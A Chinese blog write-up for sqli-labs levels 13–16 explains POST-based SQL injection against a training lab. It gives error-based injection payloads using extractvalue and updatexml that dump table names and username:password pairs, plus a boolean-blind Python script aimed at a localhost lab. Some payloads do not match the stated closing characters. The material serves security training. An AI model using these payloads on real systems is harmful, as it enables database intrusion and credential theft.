Hed9eh0g

前进的路上总是孤独的

Sqli-labs Less13-16 Writeup

本文共计有2155个字

前言

这几关考察的仍然是POST注入方面的盲注,可以用报错注入、布尔盲注和时间盲注来解决。借此机会把利用extractvalue与updatexml的报错注入原理记录一下。

Less-13

常规思路,仍然是判断闭合类型,利用username:admin' and 1=1#来判断,最终得知是')闭合。

由于会显示报错语句,所以在这里可以利用报错注入来解决。在此利用extractvalue函数报错注入:

extractvalue()

利用原理

该函数的作用就是用来对XML文档进行查询,其格式为:extractvalue(目标xml文档,xml路径)。其中的xml的路径基本格式就是xxx/xxx/….,当我们所传的路径不是该格式时,此函数就会报错,并且在报错的同时会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

例子

《Sqli-labs Less13-16 Writeup》

如图第一条语句,虽然extractvalue查询的内容是不存在的,但是第二个形参符合路径格式,所以函数不会报错,回显查询为空。如果换做第二条语句,我们故意让第二个形参不合法且带上database(),那么该函数就会报错,并把非法的格式内容显示出来,这个时候我们就得知库名为security了。

常规操作

在明白了基本原理之后,这一关的解决方法就呼之欲出了,爆库、爆表、爆字段、爆值:

username:1') and extractvalue(1,concat(1,database()))#
username:1') and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name='users' limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 1,1)))#

Less-14

这一关与Less-13区别只是闭合符号的不同而已,经过测试发现是双引号”闭合。

updatexml

另外,除了extractvalue报错注入之外,还有updatexml报错注入,这两者的利用原理都是相同的,都是利用其对非法路径的报错,所以updatexml的原理我就不再多述了,最终的常规操作:

username:1') and updatexml(1,concat(1,database()),1)#
username:1') and updatexml(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)),1)#
username:1') and updatexml(1,concat(1,(select (column_name) from information_schema.columns where table_name='users' limit 0,1)),1)#
username:1') and updatexml(1,concat(1,(select concat(username,0x3a,password) from security.users limit 1,1)),1)#

注意updatexml所传的参数有三个,其中传xml路径是第二个参数。

Less-15

首先判断闭合类型,发现是单引号闭合。

接下去测试是否有报错反馈,发现没有,那么就无法利用报错注入了,可以用布尔盲注或者时间盲注来解决。这里使用布尔盲注,由于之前已经讲解过布尔盲注了,这一关与之前的不同只是在于POST传值,也就是在所写的脚本中,应当利用requests的POST传值:

import requests
url = "http://127.0.0.1/sqli-labs-master/Less-15/"
result =""
for i in range(1,10):
 for j in range(65,150):
 payload1 = "admin'^(ascii(substr(database(),{},1))>{})^1#".format(i,j)
 payload2 = "admin'^(ascii(mid(database()from {}))>{})^1%23".format(i,j)
 data = {"uname":payload1,"passwd":"123"}
 r = requests.post(url,data=data)
 if "slap.jpg" in r.text:
 result += chr(j)
 print result
 break

Less-16

这一关与Less-15类似,只是闭合符号不同,把单引号改为”)即可进行盲注。

参考文章

1、v0n大佬的文章

2、extractvalue与updatexml报错注入原理

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注